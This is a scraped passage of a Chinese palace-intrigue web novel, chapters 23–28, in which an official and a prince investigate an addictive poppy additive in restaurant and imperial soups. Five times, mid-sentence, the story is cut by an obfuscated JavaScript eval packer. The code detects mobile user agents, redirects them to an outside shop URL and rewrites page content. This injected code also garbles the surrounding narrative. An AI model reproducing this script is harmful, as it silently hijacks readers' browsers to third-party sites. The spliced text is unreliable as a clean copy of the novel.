听完宋枫的话,云暮腾的一下站了起来,“大理寺那边怎么说?” 案子移交给大理寺后,她没再过问,昨日封赏结束后,梁文帝又以卢宏一事为由,贬了几个为他求情之人,她着实没想到这么快就要把人正法。 “属下去调案卷。” “不了,等会儿我亲自去一趟,正好审个人。” 三刻钟后,云暮策马来到了东市的菜市口。 卢宏逼良为娼,杀人抛尸,还联合胡人试图杀害朝廷命官,时人也并不是为了云暮他们抱不平,只是喜欢高位者落魄,烂菜叶和臭鸡蛋糊了他们一身,几人很是狼狈。 云暮有些惋惜,卢氏把自己撇得太干净,卢宏几人也没吐出什么有用的消息。 监斩官手中的令牌落地,刽子手举起了手中的砍刀,手挥头落,头颅骨碌碌地滚到了前排那几个姑娘的眼前。 仇人死在面前,大仇得报,便是再害怕也要睁眼去看。 云暮把身份玉牌丢给宋枫:“你一会儿去剁了卢宏和卢靖的两根指头,给李明还有陈源他们送去。” 她做不到让逝者重活,只能让借此聊慰生者心。 忽然间,一道视线落到云暮身上,她似有所察地望去,看到的却只有畅快离场的百姓。 待云暮处理完公务,夜色已经降临,宋枫推门而入:“大人,不如用了晚膳再回府?御膳房那边还温着饭菜。” 早些时候,她忙着处理堆积了几天的公务,晚膳都没来得及用。想起沈聿明还在府中,云暮摇了摇头:“不用了,宫门快落钥了,我回府再用。” 宋枫看着她急匆匆的步伐,欲言又止,最后只是目送着人离去。 记得沈聿明好酒,喜甜食,云暮特意去了一趟东市,在街边等摊主给她包糕点时,一个在路上跌跌撞撞,最后一头撞到了云暮身上。 云暮好心伸手扶了他一把,随后拎着大包小包的东西坐上了回府的马车。她缓缓摊开被塞进手心的字条,上面只有几个字:顶楼,天字一号房。 方才撞上她的正是钱大壮,有前面那个被剁了手的先例,他不敢打听得太明显,只能悄悄尾随管事的,好几次差点被人发现,这任务完成得那叫一个刺激。 据贼人交代,原先的药渣是集中堆放在墙角,所以才让那个贼人得了手,自从发现有人盗窃药渣后,紫参野鸡汤的药渣都是交由管事处置,看来就是放在这个天字一号房。 云暮马车上每一个的灯笼都雕着一个云字,街市上人人都避其锋芒,马车一路平稳地回到了云府。云暮踟蹰不前,正思考着一会儿如何开口,安叔上来接过了他手里的东西。 他把小坛子凑到鼻前嗅闻:“大人,你怎么买酒了?” 云暮也不扭捏:“给王爷带的,他回来了吗?” 安叔啊了一声:“王爷搬去王府住了。” 搬走了?想住时自作主张求了圣旨,如今却一声不吭地搬走?沈聿明真是好得很! “老奴自作主张,实在该死。今儿午间王爷过来搬走了他的东西,说是王府已经修缮好了,老奴以为王爷派人去宫里知会您了,这才……老奴办事不周,请大人责罚。” 她冷笑了几声,“把东西丢出去喂狗。” 虽然不知道两人在闹什么别扭,但已经办砸了一件事的安叔表面应承云暮,背地里却差人把东西送去了秦王府。 梁文帝亲自选位窄邸,户部拨款,秦王府气势恢宏,正房厢房皆雕梁画栋,游廊里的奇花异草数不胜数。 房里沈聿明正和赵杰飞相对而坐。 赵杰飞面上恭敬,语气却咄咄逼人:“王爷不是说能救出卢宏一家吗?那日属下都去替王爷游说卢家了,如今卢宏他们人头落地,属下要如何同卢家人交代?” 他表面上和卢家没有任何关系,实则早已上了对方的贼船。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632373|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 今日得了消息后,他连家都不敢回,一直侯在王府,生怕卢家人找他麻烦,派人去问了几次话,沈聿明以大理寺事忙为由,不曾回王府,他不过是一个挂着闲职的王爷,程文博哪敢劳动他? 沈聿明嗤笑了一声:“不会应付就去死,赵老板经商多年,总不至于还要本王教你做事吧?难道你不知道只有死人才不会乱说话?” “大理寺刑讯的手段多如牛毛,你要是落在他们手里,保准当天就把知道的事情吐个一干二净,如今能让卢氏全身而退的办法只有卢宏一家身死,至于谁当下一个家主,那就看谁更更有本事了。” 赵杰飞被他的一番话惊出了冷汗,他今天也去关了刑,破烂的囚服下满是伤痕。 万幸卢宏他们没有开口,否则卢家出事,他也难逃一死。 “王爷。”钟叔隔着门喊了一声。 沈聿明随口把赵杰飞打发了,这种蠢货怎么会是精明的生意人?看来得想个法子整垮他的铺面,拿来送给云暮, 免得她墙破了都没钱补。 “王爷,云府那边派人送了东西过来。” 沈聿明双眼一亮,故作矜持道:“拿过来给本王看看。” 今儿下午在大理寺时他就在想,云暮会给他准备什么乔迁礼,正想着就看见云暮自外走进,他兴致冲冲地朝对方走去,结果对方压根没看见他,反而转身去了牢房。 回来后发现云暮并未送东西来,还郁闷了一阵,原来是在这里等着呢。 钟叔默默把东西摆在桌上,脚下生风地跑了出去,恍惚间听见他家王爷喃喃道:“她一定是知道我忙了一天,水米未进,所以派人送来这些东西,一定是。” 夜半,一个黑衣人避开街使,无声无息的落在了醉江月天字一号房的窗外。 没敢点燃火折子,甚至夜明珠都蒙上了一层帕子,最后只在柜子里找到了残留的药味。 钱大壮的消息无误,只是她来晚了。 两刻钟后,布政坊里,云暮率着四队人马巡逻,不知有人在府里等她到天明。 第二十四章 质问 幽幽深宫,云暮随着红玉一路到了未央宫的书房。 皇后信佛,书房专门辟出了一个小佛堂供她礼佛,厚重的帘子才掀开,暖意携着檀香扑面而来,化去了身上的寒气。 这是沈聿明封王后,皇后第一次见她。云暮心想,该来的还是要来的。 净手后,云暮接过佛经,跪在蒲团上也念了起来。她痛失双亲时,神佛慈眉善目地俯视着芸芸众生,从不曾允她公道。往后几年,江南某处的一个小寺庙里总是传来肉香。 她手握权柄那天,去了一趟护国寺,对着满天神佛起誓,云家的公道,她自己来讨! 梵音空渺,云暮杀心渐止。 皇后搭着他的手,缓步走到榻边:“这几日当值身体可还吃得消?” 先礼后兵,云暮恭敬道:“奴婢一切都好,劳娘娘挂心。” 皇后冷笑道:“也是,替皇上找回了他最疼爱的皇子,又被封了上将军,你也该诸事顺遂才是。” 皇后素来平静的脸上出现了怒容,谁找回那个孩子都可以,可为什么偏偏是云暮? 当年皇上有多宠爱那个女人,合宫上下有目共睹,要不是满朝反对,只怕这个皇后的宝座都要易主了! 好不容易一死一失踪,结果被云暮找回了。去了一趟涿州,云暮这么巧就把人带回来,又这么巧在云府撞见了皇上? 太子地位稳固,背后又是崔家,皇后只想替梁文帝管好后宫,可今日才下了朝,崔家的一封书信就递到了她面前。 太子被斥,皇上对秦王赞不绝口,皇后这才慌了神。 云暮跪在了皇后面前:“娘娘,并非奴婢故意隐瞒,奴婢也是那日才知晓王爷的身份。” 皇后却不相信:“云暮,你为人谨慎,不知他的身份又为何带他入京?满朝百官不知多少人给你递拜帖,又为何独独见他?” 因答应过沈聿明会领下功劳,云暮只道:“娘娘,奴婢和王爷相谈甚欢,正巧他要来京城,便邀他一起。” 皇后一个字也不信,她无愧于云暮,对方竟然背刺她!阉人就是阉人,一心只为权势,从无良心! 她怒喝:“满嘴谎言,出去跪着,何时想告诉本宫实话就何时起来。” 已近冬月,外头虽无雪,却狂风不止,云暮想拿过斗篷,但红玉一直挡在身前,她只能伏低身子退了出去,跪在正殿外。 日光被云层挡得严严实实,不曾泄下一丝金光,云暮看着日晷,不知跪了多久。 寒风肆虐,寒意席卷全身,就算是正常人,跪了这么久也该受不住了,更何况体弱的云暮。 双眼发黑,膝盖更是冻到没有知觉,云暮攥紧冰冷僵硬的手,后悔今日没有戴护膝,后悔方才没有强硬地拿走斗篷。 帝后宠她,满宫皆知,是以她不曾告诉冯章他们,若她久久不回就去勤政殿搬救兵。如今只能等皇后消气她才能起身了。 忽闻脚步声响,她勉力抬头却看不清来人的面容,鼻子却比眼睛更早认出来人。 雪松香,是沈聿明。 来人轻嗤,俯身捏住了她的下巴:“本王还说今日不见云大人在父皇身边伺候,原来是在皇后这里躲懒,去给本王的汤婆子灌上热水。” 手中的汤婆子热得云暮手心发烫,她含住塞进嘴里的药,眼神慢慢清明,仰头看着站在她身前的沈聿明。 文竹正欲把云暮扶起,宫里都是一些拜高踩低的人,岂会让他如愿? 一直看着云暮的宫女春兰走上前来,欲拿过云暮手中的汤婆子:“秦王殿下,云大人不便,还是奴婢去替你换热汤吧。” 沈聿明一巴掌打偏了春兰的头,他压着怒气说道:“你算个什么东西,也配碰本王的东西?” 被人当着小宫女的面掌掴,春兰心生怨怼,但她不敢怨沈聿明,便把这笔账记在了云暮头上,“奴婢不敢,王爷恕罪。” 动静闹得太大,惊动了皇后,她笑着走出:“秦王,春兰这丫头不懂事,冒犯了王爷,还不快去给王爷沏茶赔罪。” 后面这句话是对春兰说的。 春兰感激地看了一眼皇后,正要起身,就被一双脚踩住了手。 沈聿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632374|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明背在身后的手勾了勾,文竹赶忙扶起云暮。 “儿臣见过皇额娘,此人方才冒犯了儿臣,皇额娘轻轻揭过,传出去怕是会坏了皇额娘的名声。” “那秦王以为如何?” “不如云大人跪了多久,她便跪多久吧。” 见沈聿明见了她不下跪,还试图罚她宫里的人,皇后又想起那个威胁过她后位的女人。 “本宫觉得不如何,还是说秦王比本宫更了解后宫宫规?” 沈聿明难得冷了脸,想到云暮衣衫单薄,他不再争执:“是嘛,那皇后娘娘可要约束好宫人,免得哪天再冲撞了贵人。” “文竹,把人带上,我们走。” “你敢?” 沈聿明转头,面无表情地看着皇后:“本王传皇上口谕,命云暮即刻去勤政殿伺候笔墨,娘娘可还有异议?” 皇后哪敢再说一个不字,只能恨恨地看着他们走。 红玉把人扶回正殿:“娘娘,云暮才跪了多久,秦王就 得了消息来给他解围,还求了皇上的口谕,只怕是云暮已经和秦王统一战线了。再任由云暮和秦王来往,只怕对太子不利。” 皇后凉凉地看她一眼:“你以为如何?” 红玉咬牙道:“除之后快。” 才出未央宫,沈聿明解下斗篷披在云暮身上,见云暮嘴唇微动,“这么冷的天穿这么点就出来,想冷死就尽管拒绝。” 云暮:…… “王爷,下官的斗篷还在未央宫。” 不等沈聿明发话,文竹又小跑进了未央宫。 轿辇抬着云暮行至宫门后换了马车,沈聿明丢给云暮一瓶药,而后背过身去,“擦膝盖的。” 云暮撩起裤腿,细细上好药,马车里有火炉,算不上冷,又等药干了才放下裤腿。 她撩开帘子:“王爷,这应该不是去勤政殿的方向吧?” 沈聿明拉回她的手,理直气壮道:“本王就是假传圣旨了,那又如何?” 又问:“今日救你,可值云大人一个承诺?” 第二十五章 夜探鬼市 沈聿明把人送回府,安置好后才又进宫面圣。 梁文帝一见了他,拍着桌子呵斥了一句:“逆子,你就这么忤逆你皇额娘!还敢假传圣旨,反了你了。” 朝堂上封王那日,梁文帝在百官面前许他面圣不跪,沈聿明往榻上一坐,端起茶杯悠悠地喝了一口才道:“父皇,若不是儿臣,云大人今天就要冻死在皇后宫里了。” 梁文帝不过是做做样子,闻言他忙问:“云卿如何了?” 沈聿明想了想:“死不了,就是可能又要休养几日了,儿臣替云大人告几日假,还有,皇后宫里那个叫春兰的婢女,言语冲撞了儿臣,儿臣往后不想再看见此人。” 不是什么大事,梁文帝摆摆手,大方允了,又试探问他:“朕看你对他倒是比其他人上心得多。” 沈聿明瞥了一眼梁文帝,把茶杯重重搁下:“父皇说的什么话,若不是有云大人舍命相护,儿臣只怕已经成了贼人的剑下亡魂了,难不成您要儿臣做那忘恩负义之徒?” 梁文帝不再疑他。 另一边的云府。 云暮随手在书架上拿了一本书,便坐在榻上发起了呆。回京后休的假比她入宫几年加起来的还要多,汲汲经营了这么多年,也是该好好歇歇。 发觉屋内的温度下降,她往火炉里添了几块银丝炭后,才把注意力放在书上。 不知是何时买的杂记,入眼第一句便是:“城门时有鬼市,半夜合,鸡鸣散,人从之多得异物。” 鬼市多异物,那会不会也有她想要的东西? “安叔!” 安叔听完,在书房里踱了几步:“大人,鬼市鱼龙混杂还阴森,您身体不适,怎能去那种地方,老奴如何放心得下。” 云暮不愿再听他废话:“你不告诉我如何去,我也能从别处得知,鬼市我必得去一趟。” 安叔伺候他多年,深知他的秉性,只能无奈告知:“金光门下,丑时三刻会有一个暗门。” 云暮跟在其他人的身后,无声地避开街使,往暗门的方向走去,甬道悠长,深不见底。她脚步落下的前一刻,左臂被人抓住,带着雪松味的暖意传进鼻子。 云暮反手握住他的手臂,把人摁在墙上:“你来干什么!” 沈聿明顺势倚墙,一手虚虚环着她的腰,一手搭在他额上探体温:“这话该本……我问你,你不在家好好养病,来这里作甚?” 云暮把人往门外推:“我无事,你回去吧,我怕护不住你。” 许是第一次见有人在暗门前吵架,路过之人纷纷侧目,云暮瞪了他们一眼,下一瞬,就被沈聿明推搡着往前,只听见身后之人大放厥词:“这一次,换我护你。” 两刻钟后,豁然开朗。 两排灯笼悬挂于架,鬼市却还是一片昏暗,摊主一身黑衣,连面都给蒙上了。 沈聿明捏着身前人的衣袖,上前两步,颤声道:“云暮,我怕黑,还看不见路。” 云暮偏头看了他一眼,腹诽了一句谁护着谁还说不定呢,见贴在她背后的人一直哆嗦,她低声说了一句‘冒犯’,随后牵住了沈聿明的手。 把从涿州带回来的东西连同一锭银子塞到了一个摊主手里,摊主收了银子,又摸了摸手里的另一样东西,最后无声地指了指鬼市尽头的那座阁楼。 才走了几步,不知沈聿明看见了什么,竟挣脱了云暮的手,“这个收好,你先进去,我待会儿去找你。” 云暮哎了一声,沈聿明已经没了踪影,她本想把香囊挂在腰间,又恐被盗贼顺走,思虑了片刻,最后收在袖中,肚子往前。 几个衣衫褴褛之人自她身边跑过,嘴里不停念叨着“米嚢花”三个字。 鬼市说大不大,说小也不算小,从入口走到阁楼,也花了小半个时辰。 云暮紧了紧面巾,推门走了进去。 阁楼不过两层楼高,却坐满了人,和外面的轻声细语不同,阁楼里的人恨不得用声音掀翻阁顶。大门一关,这些声音也被隔绝在里面。 云暮随意找了一个二楼的角落处坐下,但和其他人直勾勾地盯着台上不同,云暮一直观察着在场之人,即便有人做了伪装遮住面容,但习惯骗不了人,云暮还是认出了几个酒楼的管事,其中就有醉江月。 那道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632375|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紫参野鸡汤果然有问题! 随着台上人的动作,云暮脑海里浮现出安叔的话。 “阁楼里的东西皆是拍卖,价高者得。” 一件件东西摆出,又送至台下,云暮还是没等到她想要的东西,便兴致缺缺地把玩着手里的那颗果实。 一人咦了一声,落在她身旁,想抢过云暮手中的东西,反倒是被云暮捏住了手。 她暗中使力把人推至一边,淡淡道:“再敢动手,小心我废了你的胳膊。” 他嗷嗷叫了两声,又捂着手臂坐了过来:“这位小兄弟,我只是想看看这是不是米嚢花,不过你既有它,何苦还要来鬼市同我们抢?你这个在哪买的,可否告知?” 米嚢花?这个? 云暮有心想问,台上锣鼓声响, 带着獠牙面具的人收了锣,闷闷的声音自面具后传出:“各位客官,这是鬼市的镇市之宝 ,米嚢花,这次数量不多,一份十枚,只有五份,价高者得。” 一枚和云暮手里一模一样的东西摆在了台上的展示桌上。 还没等人竞价,一人上来耳语了几句,拎着东西往后遁去。 面具人再次敲锣:“今夜有老鼠混了进来,交易到此为止。” 说完,他也飞身往后跑去。 老鼠二字如同洪水猛兽,顷刻之间,人潮退散,云暮抓住方才的那个人,“老鼠是谁?” 那人不住挣扎:“是官府之人,你什么都不知道,怎么敢混进来的?” 云暮抬脚踢起桌子,挡住了一根箭矢,桌子四分五裂之前,云暮松开了手,那人趁机挣脱束缚逃了出去。 墙面上的一个个黑洞对准了云暮,箭矢同时飞出,正对着云暮飞来。 她抽出腰间的软剑,划下头顶上的帷幔,帷幔卷住不少箭,但下一批攻势很快袭来,直把云暮往窗户边逼。 只需脚下一踹,就能逃出生天,但事出反常必有妖,云暮闪身躲在了一根柱子后面。 厚重的大门被人从外打开的那瞬间,阁楼里的机关再也没了动静,云暮捏紧长剑,挥向直奔窗户之人。 第二十六章 症状 永安坊,卢家。 卢宇正带着一家老小翘首以盼,夫人朱氏替女儿拢了拢衣服,低声抱怨:“老爷,都等多久了,怎么还没来。” 卢宇横了她一眼:“无知妇人,你懂什么!” 卢宏一事,虽说被皇上问罪,但幸好他们取舍得当,这才没让其他几个世家钻了空子,现如今最要紧的就是争夺家主之位。 家主之位都是由嫡系一脉传承,如今卢宏一家皆被斩首,就算还有人活着,他也不可能出现在人前,所以家主之位只能在他们几房里出,最后花落谁家,只能各凭本事。若能得到外援,胜算便会大几分。 最得圣心的莫过于沈聿明和云暮,但云暮此人冷心冷情,从不和世家过分接触。沈聿明和他不同,不仅替他们除了卢宏这个祸害,还独独接了他的请帖。 是以今日他借口身体不适,未和卢恪等人去赴约,而是留在卢府单独和沈聿明叙话。 一辆奢华无比的马车徐徐从街巷驶来,车架皆由楠木所制,车帘严严实实地把风挡在外头,车内的火炉散发着暖意。 “王爷,到了。” 文竹掀开车帘,冷意直直灌进马车,沈聿明把书随意一搁,随即起身。 卢宇携着一家老小上前迎接:“下官见过王爷。” 沈聿明把卢府门口的石狮子到门上的匾额都打量了一遍,“起来吧,听说卢府的匾额还是父皇御笔亲书?” 卢宇恭维道:“京城的事都瞒不过王爷,外头风寒,王爷里面请。” 卢府刚搬来京城时,不敢张扬太过,只把两处三进的宅院并在一起,几家老小挤在这巴掌大的地,翻个身都怕挨着旁边之人。又得圣宠后,陆续把旁边的宅子购置下来,一一打通,留一个垂花门方便进出。 即便如此,和涿州奢华的卢宅相比,卢府的装饰还是少了不少,难怪好好的京官不当,要回涿州当土皇帝。可惜骗得了其他人,却骗不了他。 沈聿明随着卢宇往书房走,总觉得如芒在背。 一个身披粉色斗篷的卢晓晓猝不及防和沈聿明对上视线,偷看就算了,还被当事人当场抓获,红霞浮上卢晓晓的面颊,她跺了跺脚,进了西厢房。 卢宇没有察觉到二人的动作,还在前面不停地说着他在任内的功绩。 沈聿明此来不是为了听听废话,一到书房就拿出米嚢花往卢宇怀里一丢,“卢大人,你当卢家家主,它的生意,本王要一半。” 卢宇定眼一看,开始装傻,“王爷,这是何物?” 沈聿明开始套话:“卢宏那老东西吐出来的,这桩生意他在涿州也做,还曾给本王递过橄榄枝,可惜本王昔日有眼无珠,并未答应,真是遗憾。” 突然,他话锋一转:“卢大人不答应也无事,卢家的另外几位,或许能答应本王的条件。” 说罢,他起身离开,心里却在默数,再脚即将踏出房门之时,身后的卢宇终于开口。 “王爷,此事我们还能再谈谈。” …… “大人,你怎么孤身一人就去了鬼市,没受伤吧?” 冯章见云暮还有话说,一掌拍在宋枫背上:“不过是一些小商贩,就是十个都不够大人打的。” 云暮把东西递给他们∶“此物名叫米囊花,在鬼市售卖,昨夜有几个酒楼的管事也去了鬼市,想来就是为了买米囊花。” 冯章屏气捏鼻,丢给身旁之人∶“臭烘烘的,这有何用?” 云暮回想了一下,猜测道:“应该是会让人成瘾。前些日子我曾在西市抓到一个偷了一盅汤的小贼,神情癫狂,举止怪异,他之前是管药渣的小工,后来偷药渣被发现,这才被醉江月赶了出来,我怀疑醉江月新出的那个紫参野鸡汤里也放了这个东西。” “你们这几日私下去查查,尤其是那些原先生意一直不温不火,最近突然火爆的店。” “是,大人。” “御膳房那边,可有抓到可疑之人?” 冯章摇头:“没有。” “奴婢见过皇上。” 梁文帝听到声音,把朱笔一搁,招手示意云暮到他身侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632376|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,王全识趣地退了出去。 “熹儿不是说你病了,还替你告了假,今日怎么进宫了?还拿着药箱。” 云暮扫了一眼摊开的奏折,弹劾她的,她若无其事地合上∶“不过是吹了些风,有些发热罢了。奴婢听说皇上日日都要喝三回药膳,可是身体不适?” “你这几日不在,那些蠢货不会做事,奏折看得朕眼睛疼,喝了药膳能轻松不少。” 云家之事还未查清,梁文帝还不能死,,云暮劝道:“皇上,是药三分毒。” 梁文帝突然伸出手:“云卿既不放心,不如亲自号脉。” 顺着细长圆润的手指往上,能瞥见一截两指就能圈住的腕子,几日未见,梁文帝的心又痒了起来,左手手指微动,但最后还是没有动作。 云暮看过药材,都是补气血之物,梁文帝内里怎会亏空呢?云暮拿出银针,轻轻扎进穴位,银针也毫无变化。 见云暮皱眉沉思,梁文帝趁机拉起他的手轻拍了两下:“院使天天都来请平安脉,朕怎会有事?” 云暮 垂眸,抽回手整理药箱:“是奴婢多虑了,但那药膳皇上还是少用吧。” 许久没有得到云暮的关心,不管他说什么,梁文帝都满口答应,“皇后那边,朕警告过了,往后你不用再去她宫里了,她若再来找你,你只管来禀报朕。” 云暮一一应下,又同往常一样替他分好奏折。 半个时辰,梁文帝打了好几个哈欠,云暮偷偷觑他,发现他和小贼的某些症状很像。 浓茶一杯接着一杯,第三杯时,云暮终于出声:“皇上,浓茶伤胃。” 梁文帝按了按太阳穴,撂下笔:“这几日朕总是乏得很,云卿,你来批。” 太监批红,大梁前所未有,云暮先前也只是替他分奏折,自然不敢应下∶“皇上,这有违祖制。” 梁文帝摆摆手,在一旁的榻上半躺:“规矩也是人定的,朕让你批你就批,拿不准的再问朕就是了。” 云暮拿朱笔的手微微颤抖:“是。” 第二十七章 怀疑 第一次批红,云暮的心久久不能平静,她抽空抬头看了一眼沉沉睡去的梁文帝,心想:若是他一直这样,那她是不是能一直批红? 她捏紧了手中的朱笔,低低地呵了一声,又翻开了下一本奏折。 除去为沈聿明筹备封王大典,朝中并无大事,也难怪梁文帝敢放心给他批折子,云暮揉了揉干涩的眼睛,打开了最后一道折子。 是有关摘星阁的。 半年前,梁文帝突然要在京城内建一座摘星阁,登临其上,手可摘星辰。 满朝文武百官恨不得血溅朝堂,梁文帝还是不改其志。 钦天监推演数次终于算出吉日后,户部也只能捏着鼻子掏钱,但工程之大,没个一年半载不能竣工。 才刚要叫醒梁文帝,王全就端着一盅汤进来了,云暮把汤随意放在桌上,拉着王全走到一边。 许是闻到味道,梁文帝没等人喊就醒了,云暮二人听见动静,止住了话头。 见他一口接着一口,云暮上前一步:“皇上。” 梁文帝面上不舍地放下勺子,“罢了,朕既应了你,定会做到,传膳吧。” 心里却想着,待会儿让御膳房再给他炖一盅。 云暮亲自端了出去,招手叫来一个侍卫:“把汤倒出来收好,我待会儿有用。” 伺候梁文帝用完午膳,云暮就告退了。拎着梁文帝剩下的汤直接去了大理寺。 长凳上的人不停挣扎,但双手双腿皆被捆在凳上,他只能用后脑撞击身下的木凳,嘴里不停地念叨着“给我汤”几个字。 云暮问一旁的衙役:“他这种情况多久了?” “来的第二天就是如此,一开始只是浑身打哆嗦,后来开始以头撞墙,脑袋都磕破了,小的只能把人捆起来。” 云暮把食盒递给衙役:“拿去喂给他。” 虽是药味,衙役有些迟疑,“这是?” 云暮只道:“不是毒药,你只管喂。” 小贼一闻到药味,头也不撞凳了,双眼直直地看着衙役手中的碗,半碗下去,他咂了咂嘴,不再挣扎。 药膳里果然有米嚢花! “把他身上的绳索解了。” 云暮两只搭在他的手上,脉象和梁文帝的差不多,只是他的亏空得更厉害。 据衙役所说,这几日此人鲜少进食,日日都念叨着要汤,人都变得皮包骨了,可见米嚢花着实害人。 “他一般什么时候会失控?” 衙役思考了片刻,“一天得有个两三次,大多是上值后不久和晚膳前,有时夜里也会。” 云暮点点头,他现在用了那个汤,想来晚膳前也不会再犯病,再晚些,她也不便进宫了,只能道:“你跟手底下的人说一声,明早冯章会来提人,他们只管把人给冯章就是。” “云大人,这么巧。” 大理寺门口,沈聿明刚从马车上下来,见了云暮又把人往车上拉:“云大人还没用午膳吧,走走走,本王请你。” 没等她拒绝,马车已经往前驶了。 云暮斜看了他一眼,“王爷,你不是单纯想请下官吃饭吧?” “聪明。” “昨夜我在鬼市看见了卢家人,正好今日卢家相邀,就去走了一趟,卢家的酒楼都在用这个米嚢花。” 云暮常在坊市走,自然知晓卢家名下有几家酒楼,“他们不缺客人,怎么还干这种事?” “谁会嫌钱多呢。卢宇想让我助他得到家主之位,事成后,那几家酒楼赚的钱与我五五分。” 云暮不由看他:“你答应了?” 沈聿明伸出食指在她面前摇了摇:“怎么可能,卢家又不止他一个人想要当家主,万一有其他人能开出更好的价格呢。” “我还打听到了,其他几个世家也在用这个,没一个是干净的。” 云暮点点头,“阁楼里的那几个管事,下官已经让人去查了,对了,明日……” 把明天的计划同沈聿明交代完后,马车已经从东市绕到西市了,最后停在了醉江月门口。 云暮挑眉:“王爷当真要请下官吃饭?” 沈聿明率先下了马车,朝她伸出手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632377|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“君子一言,驷马难追。” 沈聿明算是醉江月的常客,平常见人都是三分笑,出手还阔绰,是管事最喜欢的冤大头。 “王爷,您来了。” 刚扬起的笑脸在见到云暮时僵在了脸上,他心虚到有些结巴:“云……云大人。”而后同手同脚地把人往楼上引。 沈聿明不解,最近接触下来,云暮并非不讲理之人,可怎么人人见了或者提起她,总是有些后怕。 “他怎么见了你跟老鼠见了猫一样?” 云暮意味深长地笑了笑,“许是做了什么亏心事,怕被下官认出。” 昨夜在鬼市,云暮上楼时被人撞了一下,她还没说话,对方就指着她骂了起来,只是骂着骂着声音就小了,云暮打量了几下,只觉得对方眼熟,但一时想不起来是谁,只记住了他中指上的那颗祖母绿的碧玺。方才见到周管事时,云暮终于想起。 管事去鬼市买米嚢花,因没有固定的货源,所以那道汤每次限的量才不同。 管 事指挥这小二上菜时,云暮突然开口:“周管事,听闻醉江月的紫参野鸡汤深得大家喜爱,不知云某是否能定上几盅?” 管事习惯性地转了转手上那枚祖母绿的碧玺,不想抓了个空。昨日在鬼市冒犯了云暮,回来后他又惊又惧,生怕被对方识破身份,今日出门前,特意把碧玺摘了,没想到人真的来了。 管事幽怨地看了云暮一眼,他怀疑昨夜那个老鼠就是云暮,但又不敢说,只能为难道:“大人,醉江月月初会竞拍紫参野鸡汤的名额,价高者得,云大人只能等下个月了。” 云暮遗憾地叹了口气,“本官真是没有口福,下去吧。” 管事忙道:“云大人想要定几盅?小人帮您和东家说一声,这也不是什么难事。” 云暮当即起身抓住顾管事的手摇了几下,“顾管事,你真是个好人!本官要定两盅。” 手劲太大,顾管事忍痛笑笑,抽出了手:“能替大人分忧,是小人之幸。” 抽回的左手中指上,正好有一个碧玺留下的白痕。 第二十八章 卖惨 门才关上,沈聿明摸了摸装着热水的水盆,温度正好,“洗手吃饭。” 云暮低头吃了几口,发现沈聿明一直托腮看她,她放下筷子,担忧地看了一眼他右手手臂:“王爷手臂上的伤无碍吧?” 沈聿明呆呆地‘啊’了一声后才回过神,开始捂着手臂卖惨:“伤口疼得很,一抬胳膊就渗血。” 昨夜在鬼市时,沈聿明还没打听完消息,就发现一大群人从阁楼里跑出,直到大门重新关上,他都没有看见云暮出来,急忙闯了进去。 满地的箭矢让他慌了神,又见到破开的窗户,还当是云暮中了奸计跳窗而出,便着急忙慌地跑了过去。 云暮的剑刺过来时,他刹不住脚,躲闪不及,又没带武器,只能抬手挡下攻击。 云暮自觉惭愧,坐到沈聿明身侧,拉起他的衣袖:“我看看。” 果不其然,白色的布条红了一片。 布条上的结还是她今早给人换药时打的,云暮深吸了一口气:“王爷没换药?” 